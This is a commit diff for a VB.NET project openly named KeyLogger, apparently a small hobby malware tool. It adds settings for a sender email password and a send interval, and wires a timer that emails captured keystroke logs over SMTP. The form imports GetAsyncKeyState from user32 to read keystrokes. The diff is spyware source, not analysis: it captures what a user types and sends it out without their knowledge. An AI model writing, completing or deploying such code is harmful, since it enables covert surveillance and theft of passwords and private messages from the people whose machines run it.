Ver 1.1a

Author: PSNAppz

KeyLogger/App.config

@@ -22,6 +22,12 @@
             <setting name="mail" serializeAs="String">
                 <value />
             </setting>
+            <setting name="mailpass" serializeAs="String">
+                <value />
+            </setting>
+            <setting name="time" serializeAs="String">
+                <value>0</value>
+            </setting>
         </KeyLogger.My.MySettings>
     </userSettings>
 </configuration>

KeyLogger/Form1.vb

@@ -1,11 +1,14 @@
 Option Strict On
 Imports System.Net.Mail
 Public Class Form1
+
     Dim mails As String = My.Settings.mail
-    Dim pass As String = "123"
+    Dim pass As String = My.Settings.mailpass
+
 
     Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Long) As Integer
     Private Sub tmrEmail_Tick(sender As Object, e As EventArgs) Handles tmrEmail.Tick
+
         Try
             Dim smtpserver As New SmtpClient
             smtpserver.EnableSsl = True
@@ -64,9 +67,7 @@ Public Class Form1
         txtLogs.Text = "keylogger started at: " & Now & vbNewLine
 
 
-    End Sub
-
-    Private Sub AboutToolStripMenuItem_Click(sender As Object, e As EventArgs)
 
     End Sub
+
 End Class

KeyLogger/KeyLogger.vbproj

@@ -24,7 +24,7 @@
     <UpdateRequired>false</UpdateRequired>
     <MapFileExtensions>true</MapFileExtensions>
     <WebPage>publish.htm</WebPage>
-    <ApplicationRevision>1</ApplicationRevision>
+    <ApplicationRevision>2</ApplicationRevision>
     <ApplicationVersion>1.0.0.%2a</ApplicationVersion>
     <UseApplicationTrust>false</UseApplicationTrust>
     <PublishWizardCompleted>true</PublishWizardCompleted>

KeyLogger/Menu.Designer.vb

@@ -22,12 +22,13 @@
     End Sub
 
     Private Sub Button2_Click(sender As Object, e As EventArgs) Handles Button2.Click
+
         If TextBox1.Text = "" Or TextBox2.Text = "" Then
             Errorlbl.Text = " Please Fill all the above Fields to Register!"
         ElseIf My.Settings.users = 1 Then
             Errorlbl.ForeColor = Color.Chocolate
             Errorlbl.Text = "Only one user can register on a computer! ->" ' & vbCrLf & "Request Multiple user account @ www.dedsec.weebly.com/request"
-            '    Button3.Show()
+
 
         Else
 
@@ -65,4 +66,7 @@
         Me.Hide()
     End Sub
 
+    Private Sub Button3_Click_1(sender As Object, e As EventArgs) Handles Button3.Click
+        MsgBox("Your ID:" + My.Settings.USER + "Your Pass:" + My.Settings.PASSWORD)
+    End Sub
 End Class

KeyLogger/Menu.vb

@@ -14,5 +14,11 @@
     <Setting Name="mail" Type="System.String" Scope="User">
       <Value Profile="(Default)" />
     </Setting>
+    <Setting Name="mailpass" Type="System.String" Scope="User">
+      <Value Profile="(Default)" />
+    </Setting>
+    <Setting Name="time" Type="System.Int32" Scope="User">
+      <Value Profile="(Default)">0</Value>
+    </Setting>
   </Settings>
 </SettingsFile>

KeyLogger/My Project/Settings.Designer.vb

@@ -26,6 +26,9 @@
 
     Private Sub controlpanel_Load(sender As Object, e As EventArgs) Handles MyBase.Load
         Label1.Text = "Welcome, " + My.Settings.USER
+        If My.Settings.mailpass = vbNullString Then
+            Label9.Visible = True
+        End If
     End Sub
 
 
@@ -41,7 +44,7 @@
 
     Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.Click
         TextBox1.Text = "keylogger started at: " & Now & vbNewLine
-
+        Form1.tmrEmail.Interval = My.Settings.time * 60000
         Form1.Show()
         Button1.Enabled = False
     End Sub
@@ -60,24 +63,24 @@
 
 
     Private Sub TrackBar1_Scroll(sender As Object, e As EventArgs) Handles TrackBar1.Scroll
-        TrackBar1.Value = 0
+        TrackBar1.Minimum = 1
+        TrackBar1.Maximum = 10
+        TextBox4.Text = TrackBar1.Value
+
     End Sub
 
     Private Sub Button3_Click(sender As Object, e As EventArgs) Handles Button3.Click
-        If (TextBox2.Text = vbNullString) Or (TextBox3.Text = vbNullString) Then
-        ElseIf (Not (TextBox2.Text = vbNullString And Not TextBox3.Text = vbNullString)) Then
-            My.Settings.PASSWORD = TextBox2.Text
-            My.Settings.mail = TextBox3.Text
-            My.Settings.Save()
-            Label8.Text = "Settings has been saved!"
-        ElseIf (Not (TextBox2.Text = vbNullString) And (TextBox3.Text = vbNullString)) Then
-            My.Settings.PASSWORD = TextBox2.Text
-            My.Settings.Save()
-            Label8.Text = "Settings has been saved!"
-        Else
+        If Not (TextBox3.Text = vbNullString) And Not (TextBox2.Text = vbNullString) Then
             My.Settings.mail = TextBox3.Text
+            My.Settings.mailpass = TextBox2.Text
+            My.Settings.time = TrackBar1.Value
             My.Settings.Save()
             Label8.Text = "Settings has been saved!"
         End If
+        MsgBox("Email" + My.Settings.mail + "Pass" + My.Settings.mailpass)
+        MsgBox(My.Settings.time)
+
     End Sub
+
+   
 End Class